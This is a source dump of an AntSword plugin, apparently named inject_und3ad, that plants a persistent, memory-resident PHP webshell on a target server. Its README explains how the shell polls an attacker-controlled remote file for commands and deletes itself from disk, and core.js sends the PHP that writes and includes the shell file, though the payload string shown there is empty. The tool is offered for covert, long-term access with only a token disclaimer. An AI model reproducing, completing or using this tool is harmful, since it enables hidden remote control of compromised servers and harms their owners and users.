├── db └── rm_shell.txt ├── img └── inject_undead_webshell.png ├── index.js ├── language ├── index.js ├── zh.js └── en.js ├── package.json ├── README.md └── libs ├── core.js └── ui.js /db/rm_shell.txt: -------------------------------------------------------------------------------- 1 | welcome : control_file.db 2 | 3 | -------------------------------------------------------------------------------- /img/inject_undead_webshell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ph4ntonn/inject_und3ad/HEAD/img/inject_undead_webshell.png -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | 2 | const UI = require('./libs/ui'); 3 | const Core = require('./libs/core'); 4 | 5 | class Plugin { 6 | constructor(opt) { 7 | new UI(opt) 8 | .onInject((argv) => { 9 | return new Core(opt,argv); 10 | }); 11 | } 12 | } 13 | 14 | module.exports = Plugin; 15 | -------------------------------------------------------------------------------- /language/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const languages = { 4 | 'en': 'English', 5 | 'zh': '简体中文' 6 | } 7 | 8 | // 获取本地设置语言(如若没有,则获取浏览器语言 9 | let lang = antSword['storage']('language', 10 | false, 11 | navigator.language.substr(0,2) 12 | ); 13 | 14 | // 判断本地设置语言是否符合语言模板 15 | lang = languages[lang] ? lang : 'en'; 16 | 17 | // 返回语言模板 18 | let langModule = require(`./${lang}`); 19 | langModule.__languages__ = languages; 20 | 21 | module.exports = langModule; 22 | -------------------------------------------------------------------------------- /language/zh.js: -------------------------------------------------------------------------------- 1 | /** 2 | * zh_CN 3 | */ 4 | 5 | module.exports = { 6 | title: "植入不死php webshell", 7 | toolbar: { 8 | new: "远端文件" 9 | }, 10 | message: { 11 | inject_success: "植入成功,远程控制文件已被记录!" 12 | }, 13 | prompt: { 14 | rm_file: "请输入远端控制文件地址及轮询时间(以###分隔)" 15 | }, 16 | cell:{ 17 | path:"历史远端控制文件" 18 | }, 19 | error:{ 20 | wrong:"植入失败", 21 | value_wrong:"输入非法,请输入有效的轮询时间或检查分隔符是否为\'###\'!" 22 | } 23 | 24 | }; 25 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "注入不死php webshell", 3 | "name_en": "Inject undead php webshell", 4 | "main": "index.js", 5 | "icon": "eye", 6 | "version": "0.1", 7 | "description": "在目标服务器植入不死php木马以获得长期权限", 8 | "description_en": "Inject the undead php webshell into target server to access long-term control ", 9 | "author": { 10 | "name": "ph4ntom", 11 | "email": "ph4ntom11235@gmail.com" 12 | }, 13 | "category": "维持权限", 14 | "category_en": "Maintain the access", 15 | "multiple": false, 16 | "scripts": ["php"] 17 | } -------------------------------------------------------------------------------- /language/en.js: -------------------------------------------------------------------------------- 1 | /** 2 | * en_US 3 | */ 4 | 5 | module.exports = { 6 | title: "Inject the undead php webshell", 7 | toolbar: { 8 | new: "New remote control file" 9 | }, 10 | message: { 11 | inject_success: "Successfully inject! The address of remote control file has been recorded!" 12 | }, 13 | prompt: { 14 | rm_file: "Please enter the remote control file address and timeout's value(spilted by ###)" 15 | }, 16 | cell:{ 17 | path:"Remote control file history" 18 | }, 19 | error:{ 20 | wrong:"Injection fail!", 21 | value_wrong:"Illegal input ! Please check your input!" 22 | } 23 | 24 | }; -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # inject_und3ad 2 | 3 | 中国蚁剑(Antsword)插件 4 | 5 | 向目标服务器植入不死php webshell 6 | 7 | ## 演示 8 | 9 | * 权限维持 10 | 11 | ![inject_undead_webshell.png](./img/inject_undead_webshell.png) 12 | 13 | 点击左上角远程文件按钮,输入远程控制文件地址以及轮询时间(以秒为单位),点击确定即可(分隔符为###) 14 | 15 | For example : http://192.168.134.128/1.txt###60 每60秒轮询一次http://192.168.134.128/1.txt里的内容 16 | 17 | 文件内容类似于 `file_put_contents('./1.php','')`; (密码可自定义,路径也可自定义,此文件内容旨在每隔一段时间写入一个小马) 18 | 19 | 上述旨在利用php特性植入不死webshell,在执行完成后,此webshell会基于用户设置的轮询时间向用户设置的远程文件地址发送请求,用户只需在远程地址的txt文档中输入想要执行的命令即可 20 | 可。 21 | 22 | 此webshell在执行后会自身删除,驻留内存之中,无文件残留 23 | 24 | 清除办法包括重启web服务等 25 | 26 | 用户在植入不死webshell后,远程控制文件地址将会被记录,在第二次打开此界面时会在下方"历史远端控制文件"中看见 27 | 28 | ## 注意事项 29 | 30 | 此插件仅支持php环境 31 | 32 | 在远程文件上如果不打算执行命令,请在远程文件中写入一个空格,否则此webshell会退出。 33 | 34 | 使用者不得用于非法用途 35 | 36 | ## Todo 37 | 38 | 若发现问题,请与我联系并改进~ 39 | 40 | 41 | -------------------------------------------------------------------------------- /libs/core.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 核心模块 3 | */ 4 | const fs = require('fs'); 5 | 6 | class Core { 7 | constructor(opt, argv) { 8 | let self = this; 9 | return new Promise((res, rej) => { 10 | let core = new antSword['core'][opt['type']](opt); 11 | switch (argv.type) { 12 | case "rm_file": 13 | this._save_remote_address(argv.rm_file, argv.shell); 14 | var rm_file = argv.rm_file.toString().split("###")[0]; 15 | var timeout = argv.rm_file.toString().split("###")[1]; 16 | var patt = /^\d+$/; 17 | var result = patt.test(timeout); 18 | if (result) {} else { 19 | return rej("Unexpected value"); 20 | } 21 | core.request({ 22 | _: this._inject_und3ad(rm_file, timeout) 23 | }).then(res) 24 | .catch((err) => { 25 | return rej(err); 26 | }); 27 | core.request({ 28 | _: this._execute_und3ad() 29 | }).then(res) 30 | .catch((err) => { 31 | return rej(err); 32 | }); 33 | break; 34 | } 35 | }) 36 | } 37 | 38 | 39 | //保存远程控制文件地址 40 | _save_remote_address(address, shell) { 41 | var address = address.split("###")[0]; 42 | var file_name = path.join(__dirname, '../db/rm_shell.txt'); 43 | fs.appendFile(file_name, shell + " : " + address + "\n", 'utf-8', function (error) { 44 | if (error) { 45 | console.log('Fail to record!') 46 | } else { 47 | console.log('Record successfully!') 48 | } 49 | }) 50 | } 51 | 52 | //注入不死webshell 53 | _inject_und3ad(rm_file, timeout) { 54 | 55 | return ` 56 | function Injector(){$myfile = fopen("just4fun.php", "w");$txt = '';fwrite($myfile, $txt);};Injector(); 57 | `; 58 | 59 | } 60 | 61 | //执行不死webshell 62 | _execute_und3ad() { 63 | return ` 64 | include("just4fun.php"); 65 | `; 66 | } 67 | 68 | } 69 | 70 | module.exports = Core; 71 | -------------------------------------------------------------------------------- /libs/ui.js: -------------------------------------------------------------------------------- 1 | /** 2 | * UI 3 | */ 4 | 5 | const WIN = require('ui/window'); 6 | const LANG = require('../language/'); 7 | const LANG_T = antSword["language"]['toastr']; 8 | const fs = require('fs'); 9 | const readline = require('readline'); 10 | 11 | class UI { 12 | constructor(opt) { 13 | // 创建窗口 14 | this.opt = opt; 15 | this.win = new WIN({ 16 | title: `${LANG['title']}----- ${opt['url']}`, 17 | width: 666, 18 | height: 200, 19 | }); 20 | this.createMainLayout(); 21 | return { 22 | onInject: (func) => { 23 | this.bindToolbarClickHandler(func); 24 | }, 25 | onAbout: () => {} 26 | } 27 | } 28 | 29 | /** 30 | * 创建界面 31 | */ 32 | createMainLayout() { 33 | 34 | //检查远端控制文件 35 | let griddata = []; 36 | const rl = readline.createInterface({ 37 | input: fs.createReadStream(path.join(__dirname, '../db/rm_shell.txt')) 38 | }); 39 | rl.on('line', (line) => { 40 | if (line.split(" : ")[0] == this.opt['url']) { 41 | var item = antSword.noxss(line.split(" : ")[1]); 42 | griddata.push({ 43 | data: item.split('\t') 44 | }); 45 | this.grid.clearAll(); 46 | this.grid.parse({ 47 | rows: griddata 48 | }, "json"); 49 | } 50 | }); 51 | 52 | //创建主界面其余元素 53 | let layout = this.win.win.attachLayout('1C'); 54 | layout.cells('a').setText(` ${LANG['cell']['path']}`); 55 | this.createToolbar(); 56 | this.createGrid(layout.cells('a')); 57 | this.layout = layout; 58 | 59 | } 60 | 61 | //创建grid 62 | createGrid(cell) { 63 | let grid = cell.attachGrid(); 64 | grid.setHeader(` 65 | ${LANG['cell']['path']} 66 | `); 67 | grid.setNoHeader(true); 68 | grid.setColTypes("ro"); 69 | grid.setColSorting('str'); 70 | grid.setInitWidths("666"); 71 | grid.setColAlign("left"); 72 | grid.enableMultiselect(true); 73 | grid.enableBlockSelection(true); 74 | grid.init(); 75 | 76 | this.grid = grid; 77 | } 78 | 79 | 80 | /** 81 | * 工具栏 82 | */ 83 | createToolbar() { 84 | let toolbar = this.win.win.attachToolbar(); 85 | toolbar.loadStruct([{ 86 | id: 'new', 87 | type: 'button', 88 | text: LANG['toolbar']['new'], 89 | icon: 'plus-circle' 90 | }]); 91 | this.toolbar = toolbar; 92 | } 93 | 94 | /** 95 | * 监听按钮点击事件 96 | * @param {Function} callback [description] 97 | * @return {[type]} [description] 98 | */ 99 | bindToolbarClickHandler(callback) { 100 | let self = this; 101 | this.toolbar.attachEvent('onClick', (id) => { 102 | switch (id) { 103 | case "new": 104 | layer.prompt({ 105 | value: "", 106 | title: ` ${LANG["prompt"]["rm_file"]}` 107 | }, (value, i, e) => { 108 | layer.close(i); 109 | this.win.win.progressOn(); 110 | callback({ 111 | type: "rm_file", 112 | rm_file: value, 113 | shell: this.opt['url'], 114 | }).then((result) => { 115 | if (result) { 116 | this.win.win.progressOff(); 117 | toastr.success(LANG["message"]["inject_success"], LANG_T['success']); 118 | } 119 | }).catch((err) => { 120 | if (err == "Unexpected value") { 121 | toastr.error(LANG['error']['value_wrong'], antSword['language']['toastr']['error']); 122 | } else { 123 | toastr.error(LANG['error']['wrong'], antSword['language']['toastr']['error']); 124 | } 125 | this.win.win.progressOff(); 126 | }) 127 | }); 128 | break 129 | } 130 | }); 131 | } 132 | 133 | } 134 | 135 | module.exports = UI; --------------------------------------------------------------------------------